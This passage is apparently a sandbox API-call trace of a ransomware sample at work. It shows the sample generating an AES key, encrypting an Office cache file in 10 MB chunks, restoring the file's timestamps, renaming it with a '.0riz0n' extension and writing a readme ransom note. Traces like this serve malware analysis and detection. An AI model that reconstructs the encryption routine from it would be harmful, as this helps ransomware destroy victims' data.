(HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a868) returned 1 [0060.673] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0060.673] CryptDestroyKey (hKey=0x459b38) returned 1 [0060.674] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0060.674] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0060.674] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0060.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.674] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290)) returned 1 [0060.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0060.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0060.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0060.675] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0060.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0060.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.675] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290)) returned 1 [0060.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0060.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0060.675] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.675] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290)) returned 1 [0060.675] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0060.675] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0060.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0060.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0060.676] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0060.676] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0060.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0060.676] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xe8b079d0, dwHighDateTime=0x1d301be)) returned 1 [0060.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.676] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0060.676] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0060.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0060.676] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0060.676] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0060.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0060.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0060.676] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0060.677] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0060.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0060.677] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0060.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0061.077] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0061.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0061.119] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0061.207] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0061.248] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0061.324] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0061.324] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0061.439] FlushFileBuffers (hFile=0x1f0) returned 1 [0061.465] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0xa00000 [0061.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0061.465] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0061.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x3770020 [0061.842] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0061.912] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x3770020) returned 1 [0061.953] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0062.027] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0xa00000 [0062.027] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0062.138] FlushFileBuffers (hFile=0x1f0) returned 1 [0062.160] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x1400000 [0062.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0062.161] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0062.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x3770020 [0062.542] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0062.584] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x3770020) returned 1 [0062.625] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0062.702] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x1400000 [0062.703] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0062.812] FlushFileBuffers (hFile=0x1f0) returned 1 [0062.844] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x1e00000 [0062.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0062.845] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0063.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x3770020 [0063.199] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0063.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x3770020) returned 1 [0063.285] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0063.360] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=31457280, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x1e00000 [0063.361] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0063.493] FlushFileBuffers (hFile=0x1f0) returned 1 [0063.518] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x2800000 [0063.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0063.519] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0063.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x3770020 [0063.877] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0063.930] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x3770020) returned 1 [0063.970] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0064.046] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=41943040, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x2800000 [0064.046] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0064.157] FlushFileBuffers (hFile=0x1f0) returned 1 [0064.179] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x3200000 [0064.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0064.180] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0064.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x3770020 [0064.528] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0064.570] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x3770020) returned 1 [0064.612] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0064.688] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=52428800, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x3200000 [0064.688] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0064.801] FlushFileBuffers (hFile=0x1f0) returned 1 [0064.831] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x3c00000 [0064.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x71a2c0) returned 0x2d60020 [0064.832] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0x71a290, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0x71a290, lpOverlapped=0x0) returned 1 [0064.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x71a2c0) returned 0x3480020 [0065.037] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0065.071] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x3480020) returned 1 [0065.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x71a6c0) returned 0x2d60020 [0065.165] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d60020*, pdwDataLen=0x17af858*=0x71a290, dwBufLen=0x71a690 | out: pbData=0x2d60020*, pdwDataLen=0x17af858*=0x71a2a0) returned 1 [0065.222] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0065.253] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=62914560, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x3c00000 [0065.253] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0x71a290, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0x71a290, lpOverlapped=0x0) returned 1 [0065.364] FlushFileBuffers (hFile=0x1f0) returned 1 [0065.384] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0065.384] NtClose (Handle=0x1f0) returned 0x0 [0065.665] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.0riz0n")) returned 1 [0065.665] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0065.666] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0065.666] GetLastError () returned 0x2 [0065.666] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6588, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0065.666] GetLastError () returned 0x2 [0065.666] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0065.666] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0065.666] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0065.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0065.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0065.667] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0065.668] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x3c01c430, dwHighDateTime=0x1d59598)) returned 1 [0065.668] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0065.668] NtClose (Handle=0x1f0) returned 0x0 [0065.668] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0065.669] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0065.669] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0065.669] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0065.713] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0065.713] CryptDestroyKey (hKey=0x459b38) returned 1 [0065.713] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0065.713] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0065.713] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0065.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0065.713] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e)) returned 1 [0065.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0065.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0065.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0065.714] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0065.714] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0065.714] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0065.714] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0065.714] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e)) returned 1 [0065.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0065.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0065.714] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0065.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0065.714] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0065.714] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e)) returned 1 [0065.714] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 